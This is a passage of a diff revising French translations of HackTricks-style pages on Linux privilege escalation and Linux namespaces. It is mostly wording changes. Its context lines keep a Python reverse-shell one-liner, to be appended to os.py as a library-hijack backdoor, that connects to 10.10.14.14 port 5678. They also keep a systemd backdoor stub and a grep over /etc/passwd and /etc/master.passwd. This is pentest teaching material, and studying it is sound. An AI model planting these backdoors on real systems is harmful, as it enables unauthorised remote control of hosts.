 grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 ```
@@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor
 User=root
 Group=root
 ```
-Votre porte dérobée sera exécutée la prochaine fois que tomcat sera démarré.
+Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.
 
 ### Vérifier les Dossiers
 
@@ -1310,18 +1310,18 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde
 ~/.zlogin #zsh shell
 ~/.zshrc #zsh shell
 ```
-### Recherche de crédentiels génériques/Regex
+### Generic Creds Search/Regex
 
 Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les logs, ou les regexps de hachages.\
 Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue.
 
-## Fichiers écriture
+## Writable files
 
-### Détournement de bibliothèque Python
+### Python library hijacking
 
-Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
+Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y ajouter une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
 
-Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
+Pour **ajouter une porte dérobée à la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :
 ```python
 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
 ```
@@ -1354,15 +1354,15 @@ NAME=Network /bin/id
 ONBOOT=yes
 DEVICE=eth0
 ```
-### **init, init.d, systemd, et rc.d**
+### **init, init.d, systemd et rc.d**
 
 Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`.
 
 D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.
 
-**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage, et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
+**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système.
 
-## Autres Astuces
+## Autres astuces
 
 ### Escalade de privilèges NFS
 
@@ -1382,7 +1382,7 @@ escaping-from-limited-bash.md
 cisco-vmanage.md
 {{#endref}}
 
-## Protections de Sécurité du Noyau
+## Protections de sécurité du noyau
 
 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
 - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
@@ -1397,14 +1397,14 @@ cisco-vmanage.md
 
 **LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
 **Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
-**Vérification Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
-**Vérificateur de privilèges Linux :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
+**Unix Privesc Check :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
+**Linux Priv Checker :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
 **BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
 **Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
 **Mestaploit :** _**multi/recon/local_exploit_suggester**_\
-**Suggesteur d'Exploitation Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
+**Linux Exploit Suggester :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
 **EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
-**Recueil de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
+**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
 
 ## Références
 

src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md

@@ -12,7 +12,7 @@ Bien que les cgroup namespaces ne soient pas un type de namespace séparé comme
 
 1. Lorsqu'un nouveau cgroup namespace est créé, **il commence avec une vue de la hiérarchie cgroup basée sur le cgroup du processus créateur**. Cela signifie que les processus s'exécutant dans le nouveau cgroup namespace ne verront qu'un sous-ensemble de l'ensemble de la hiérarchie cgroup, limité à l'arborescence cgroup enracinée au cgroup du processus créateur.
 2. Les processus au sein d'un cgroup namespace **verront leur propre cgroup comme la racine de la hiérarchie**. Cela signifie que, du point de vue des processus à l'intérieur du namespace, leur propre cgroup apparaît comme la racine, et ils ne peuvent pas voir ou accéder aux cgroups en dehors de leur propre sous-arborescence.
-3. Les cgroup namespaces ne fournissent pas directement l'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les** sous-systèmes cgroup (par exemple, cpu, mémoire, etc.) eux-mêmes.
+3. Les cgroup namespaces ne fournissent pas directement l'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les sous-systèmes cgroup** (par exemple, cpu, mémoire, etc.) eux-mêmes.
 
 Pour plus d'informations sur les CGroups, consultez :
 
@@ -28,13 +28,13 @@ Pour plus d'informations sur les CGroups, consultez :
 ```bash
 sudo unshare -C [--mount-proc] /bin/bash
 ```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
 
 <details>
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -58,7 +58,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/cgroup
 lrwxrwxrwx 1 root root 0 Apr  4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -69,7 +69,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
 # Find the processes with an specific namespace
 sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
 ```
-### Entrez dans un espace de noms CGroup
+### Entrer dans un espace de noms CGroup
 ```bash
 nsenter -C TARGET_PID --pid /bin/bash
 ```

src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md

@@ -4,17 +4,17 @@
 
 ## Informations de base
 
-Un espace de noms IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit **l'isolement** des objets IPC de System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cet isolement garantit que les processus dans **différents espaces de noms IPC ne peuvent pas accéder directement ou modifier les objets IPC des autres**, offrant une couche supplémentaire de sécurité et de confidentialité entre les groupes de processus.
+Un namespace IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit **l'isolation** des objets IPC de System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cette isolation garantit que les processus dans **différents namespaces IPC ne peuvent pas accéder directement ou modifier les objets IPC des autres**, offrant une couche supplémentaire de sécurité et de confidentialité entre les groupes de processus.
 
 ### Comment ça fonctionne :
 
-1. Lorsqu'un nouvel espace de noms IPC est créé, il commence avec un **ensemble complètement isolé d'objets IPC de System V**. Cela signifie que les processus s'exécutant dans le nouvel espace de noms IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres espaces de noms ou le système hôte par défaut.
-2. Les objets IPC créés au sein d'un espace de noms ne sont visibles et **accessibles que par les processus de cet espace de noms**. Chaque objet IPC est identifié par une clé unique au sein de son espace de noms. Bien que la clé puisse être identique dans différents espaces de noms, les objets eux-mêmes sont isolés et ne peuvent pas être accédés à travers les espaces de noms.
-3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les objets IPC associés à cet espace de noms.
+1. Lorsqu'un nouveau namespace IPC est créé, il commence avec un **ensemble complètement isolé d'objets IPC de System V**. Cela signifie que les processus s'exécutant dans le nouveau namespace IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres namespaces ou le système hôte par défaut.
+2. Les objets IPC créés dans un namespace ne sont visibles et **accessibles que par les processus de ce namespace**. Chaque objet IPC est identifié par une clé unique au sein de son namespace. Bien que la clé puisse être identique dans différents namespaces, les objets eux-mêmes sont isolés et ne peuvent pas être accédés à travers les namespaces.
+3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()` ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser les objets IPC associés à ce namespace.
 
 ## Laboratoire :
 
-### Créer différents espaces de noms
+### Créer différents Namespaces
 
 #### CLI
 ```bash
@@ -26,12 +26,12 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
 - Le noyau Linux permet à un processus de créer de nouveaux namespaces en utilisant l'appel système `unshare`. Cependant, le processus qui initie la création d'un nouveau namespace PID (appelé le processus "unshare") n'entre pas dans le nouveau namespace ; seuls ses processus enfants le font.
-- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans l'namespace PID d'origine.
+- L'exécution de `%unshare -p /bin/bash%` démarre `/bin/bash` dans le même processus que `unshare`. Par conséquent, `/bin/bash` et ses processus enfants se trouvent dans le namespace PID d'origine.
 - Le premier processus enfant de `/bin/bash` dans le nouveau namespace devient PID 1. Lorsque ce processus se termine, il déclenche le nettoyage du namespace s'il n'y a pas d'autres processus, car PID 1 a le rôle spécial d'adopter les processus orphelins. Le noyau Linux désactivera alors l'allocation de PID dans ce namespace.
 
 2. **Conséquence** :
@@ -50,7 +50,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/ipc
 lrwxrwxrwx 1 root root 0 Apr  4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'

src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md

@@ -2,22 +2,22 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Informations de base
+## Basic Information
 
 Un mount namespace est une fonctionnalité du noyau Linux qui fournit une isolation des points de montage du système de fichiers vus par un groupe de processus. Chaque mount namespace a son propre ensemble de points de montage du système de fichiers, et **les modifications des points de montage dans un namespace n'affectent pas les autres namespaces**. Cela signifie que les processus s'exécutant dans différents mount namespaces peuvent avoir des vues différentes de la hiérarchie du système de fichiers.
 
 Les mount namespaces sont particulièrement utiles dans la conteneurisation, où chaque conteneur doit avoir son propre système de fichiers et sa propre configuration, isolés des autres conteneurs et du système hôte.
 
-### Comment ça fonctionne :
+### How it works:
 
 1. Lorsqu'un nouveau mount namespace est créé, il est initialisé avec une **copie des points de montage de son namespace parent**. Cela signifie qu'à la création, le nouveau namespace partage la même vue du système de fichiers que son parent. Cependant, toute modification ultérieure des points de montage au sein du namespace n'affectera pas le parent ou d'autres namespaces.
-2. Lorsqu'un processus modifie un point de montage dans son namespace, comme monter ou démonter un système de fichiers, le **changement est local à ce namespace** et n'affecte pas les autres namespaces. Cela permet à chaque namespace d'avoir sa propre hiérarchie de système de fichiers indépendante.
+2. Lorsqu'un processus modifie un point de montage dans son namespace, comme monter ou démonter un système de fichiers, la **modification est locale à ce namespace** et n'affecte pas les autres namespaces. Cela permet à chaque namespace d'avoir sa propre hiérarchie de système de fichiers indépendante.
 3. Les processus peuvent se déplacer entre les namespaces en utilisant l'appel système `setns()`, ou créer de nouveaux namespaces en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNS`. Lorsqu'un processus se déplace vers un nouveau namespace ou en crée un, il commencera à utiliser les points de montage associés à ce namespace.
 4. **Les descripteurs de fichiers et les inodes sont partagés entre les namespaces**, ce qui signifie que si un processus dans un namespace a un descripteur de fichier ouvert pointant vers un fichier, il peut **transmettre ce descripteur de fichier** à un processus dans un autre namespace, et **les deux processus accéderont au même fichier**. Cependant, le chemin du fichier peut ne pas être le même dans les deux namespaces en raison des différences dans les points de montage.
 
-## Lab :
+## Lab:
 
-### Créer différents Namespaces
+### Create different Namespaces
 
 #### CLI
 ```bash
@@ -29,7 +29,7 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -42,7 +42,7 @@ Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée e
 - La sortie de PID 1 dans un nouveau namespace entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire".
 
 3. **Solution** :
-- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouveau namespace PID.
+- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de créer un nouveau processus après avoir créé le nouveau namespace PID.
 - L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouveau namespace. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouveau namespace, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID.
 
 En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau namespace PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
@@ -53,12 +53,12 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/mnt
 lrwxrwxrwx 1 root root 0 Apr  4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
 ```
-### Trouver tous les espaces de montage
+### Trouver tous les espaces de noms de montage
 ```bash
 sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
 # Find the processes with an specific namespace

src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md

@@ -8,8 +8,8 @@ Un espace de noms réseau est une fonctionnalité du noyau Linux qui fournit une
 
 ### Comment ça fonctionne :
 
-1. Lorsqu'un nouvel espace de noms réseau est créé, il commence avec une **pile réseau complètement isolée**, sans **interfaces réseau** sauf pour l'interface de boucle (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec des processus dans d'autres espaces de noms ou le système hôte par défaut.
-2. **Interfaces réseau virtuelles**, telles que les paires veth, peuvent être créées et déplacées entre les espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur.
+1. Lorsqu'un nouvel espace de noms réseau est créé, il commence avec une **pile réseau complètement isolée**, avec **aucune interface réseau** sauf pour l'interface de boucle (lo). Cela signifie que les processus s'exécutant dans le nouvel espace de noms réseau ne peuvent pas communiquer avec des processus dans d'autres espaces de noms ou le système hôte par défaut.
+2. **Des interfaces réseau virtuelles**, telles que des paires veth, peuvent être créées et déplacées entre les espaces de noms réseau. Cela permet d'établir une connectivité réseau entre les espaces de noms ou entre un espace de noms et le système hôte. Par exemple, une extrémité d'une paire veth peut être placée dans l'espace de noms réseau d'un conteneur, et l'autre extrémité peut être connectée à un **pont** ou une autre interface réseau dans l'espace de noms hôte, fournissant une connectivité réseau au conteneur.
 3. Les interfaces réseau au sein d'un espace de noms peuvent avoir leurs **propres adresses IP, tables de routage et règles de pare-feu**, indépendamment des autres espaces de noms. Cela permet aux processus dans différents espaces de noms réseau d'avoir différentes configurations réseau et de fonctionner comme s'ils s'exécutaient sur des systèmes réseau séparés.
 4. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()`, ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWNET`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser la configuration réseau et les interfaces associées à cet espace de noms.
 
@@ -22,13 +22,13 @@ Un espace de noms réseau est une fonctionnalité du noyau Linux qui fournit une
 sudo unshare -n [--mount-proc] /bin/bash
 # Run ifconfig or ip -a
 ```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
 
 <details>
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (identifiant de processus). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -53,7 +53,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 # Run ifconfig or ip -a
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/net
 lrwxrwxrwx 1 root root 0 Apr  4 20:30 /proc/self/ns/net -> 'net:[4026531840]'

src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md

@@ -8,12 +8,12 @@ Le namespace PID (Process IDentifier) est une fonctionnalité du noyau Linux qui
 
 Lorsqu'un nouveau namespace PID est créé, le premier processus dans ce namespace se voit attribuer le PID 1. Ce processus devient le processus "init" du nouveau namespace et est responsable de la gestion des autres processus au sein du namespace. Chaque processus subséquent créé dans le namespace aura un PID unique dans ce namespace, et ces PIDs seront indépendants des PIDs dans d'autres namespaces.
 
-Du point de vue d'un processus au sein d'un namespace PID, il ne peut voir que les autres processus dans le même namespace. Il n'est pas conscient des processus dans d'autres namespaces, et il ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à empêcher les processus de s'interférer les uns avec les autres.
+Du point de vue d'un processus au sein d'un namespace PID, il ne peut voir que les autres processus dans le même namespace. Il n'est pas conscient des processus dans d'autres namespaces et ne peut pas interagir avec eux en utilisant des outils de gestion de processus traditionnels (par exemple, `kill`, `wait`, etc.). Cela fournit un niveau d'isolation qui aide à prévenir les interférences entre les processus.
 
 ### Comment ça fonctionne :
 
 1. Lorsqu'un nouveau processus est créé (par exemple, en utilisant l'appel système `clone()`), le processus peut être assigné à un nouveau namespace PID ou à un namespace existant. **Si un nouveau namespace est créé, le processus devient le processus "init" de ce namespace**.
-2. Le **noyau** maintient une **correspondance entre les PIDs dans le nouveau namespace et les PIDs correspondants** dans le namespace parent (c'est-à-dire, le namespace à partir duquel le nouveau namespace a été créé). Cette correspondance **permet au noyau de traduire les PIDs lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents namespaces.
+2. Le **noyau** maintient une **correspondance entre les PIDs dans le nouveau namespace et les PIDs correspondants** dans le namespace parent (c'est-à-dire le namespace à partir duquel le nouveau namespace a été créé). Cette correspondance **permet au noyau de traduire les PIDs lorsque cela est nécessaire**, par exemple lors de l'envoi de signaux entre des processus dans différents namespaces.
 3. **Les processus au sein d'un namespace PID ne peuvent voir et interagir qu'avec d'autres processus dans le même namespace**. Ils ne sont pas conscients des processus dans d'autres namespaces, et leurs PIDs sont uniques dans leur namespace.
 4. Lorsqu'un **namespace PID est détruit** (par exemple, lorsque le processus "init" du namespace se termine), **tous les processus au sein de ce namespace sont terminés**. Cela garantit que toutes les ressources associées au namespace sont correctement nettoyées.
 
@@ -29,7 +29,7 @@ sudo unshare -pf --mount-proc /bin/bash
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux espaces de noms PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux espaces de noms PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -42,10 +42,10 @@ Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée e
 - La sortie de PID 1 dans un nouvel espace de noms entraîne le nettoyage du drapeau `PIDNS_HASH_ADDING`. Cela entraîne l'échec de la fonction `alloc_pid` à allouer un nouveau PID lors de la création d'un nouveau processus, produisant l'erreur "Impossible d'allouer de la mémoire".
 
 3. **Solution** :
-- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de forker un nouveau processus après avoir créé le nouvel espace de noms PID.
+- Le problème peut être résolu en utilisant l'option `-f` avec `unshare`. Cette option permet à `unshare` de créer un nouveau processus après avoir créé le nouvel espace de noms PID.
 - L'exécution de `%unshare -fp /bin/bash%` garantit que la commande `unshare` elle-même devient PID 1 dans le nouvel espace de noms. `/bin/bash` et ses processus enfants sont alors en toute sécurité contenus dans ce nouvel espace de noms, empêchant la sortie prématurée de PID 1 et permettant une allocation normale de PID.
 
-En s'assurant que `unshare` s'exécute avec le drapeau `-f`, le nouvel espace de noms PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
+En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouvel espace de noms PID est correctement maintenu, permettant à `/bin/bash` et à ses sous-processus de fonctionner sans rencontrer l'erreur d'allocation de mémoire.
 
 </details>
 
@@ -55,7 +55,7 @@ En montant une nouvelle instance du système de fichiers `/proc` si vous utilise
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/pid
 lrwxrwxrwx 1 root root 0 Apr  3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'

src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md

@@ -1,26 +1,26 @@
-# Espace de Temps
+# Time Namespace
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Informations de Base
+## Informations de base
 
-L'espace de temps dans Linux permet des décalages par espace de noms pour les horloges monotoniques et de démarrage du système. Il est couramment utilisé dans les conteneurs Linux pour changer la date/heure à l'intérieur d'un conteneur et ajuster les horloges après la restauration d'un point de contrôle ou d'un instantané.
+Le namespace de temps dans Linux permet des décalages par namespace aux horloges monotoniques et de démarrage du système. Il est couramment utilisé dans les conteneurs Linux pour changer la date/heure à l'intérieur d'un conteneur et ajuster les horloges après la restauration d'un point de contrôle ou d'un instantané.
 
 ## Laboratoire :
 
-### Créer différents Espaces de Noms
+### Créer différents Namespaces
 
 #### CLI
 ```bash
 sudo unshare -T [--mount-proc] /bin/bash
 ```
-En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
+En montant une nouvelle instance du système de fichiers `/proc` si vous utilisez le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations sur les processus spécifiques à ce namespace**.
 
 <details>
 
 <summary>Erreur : bash : fork : Impossible d'allouer de la mémoire</summary>
 
-Lorsque `unshare` est exécuté sans l'option `-f`, une erreur se produit en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
+Lorsque `unshare` est exécuté sans l'option `-f`, une erreur est rencontrée en raison de la façon dont Linux gère les nouveaux namespaces PID (Process ID). Les détails clés et la solution sont décrits ci-dessous :
 
 1. **Explication du problème** :
 
@@ -44,7 +44,7 @@ En veillant à ce que `unshare` s'exécute avec le drapeau `-f`, le nouveau name
 ```bash
 docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
 ```
-### &#x20;Vérifiez dans quel espace de noms se trouve votre processus
+### Vérifiez dans quel espace de noms se trouve votre processus
 ```bash
 ls -l /proc/self/ns/time
 lrwxrwxrwx 1 root root 0 Apr  4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
@@ -55,7 +55,7 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
 # Find the processes with an specific namespace
 sudo find /proc -maxdepth 3 -type l -name time -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
 ```
-### Entrez dans un espace de noms temporel
+### Entrer dans un espace de noms temporel
 ```bash
 nsenter -T TARGET_PID --pid /bin/bash
 ```

src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md

@@ -1,35 +1,35 @@
-# Espace Utilisateur
+# User Namespace
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
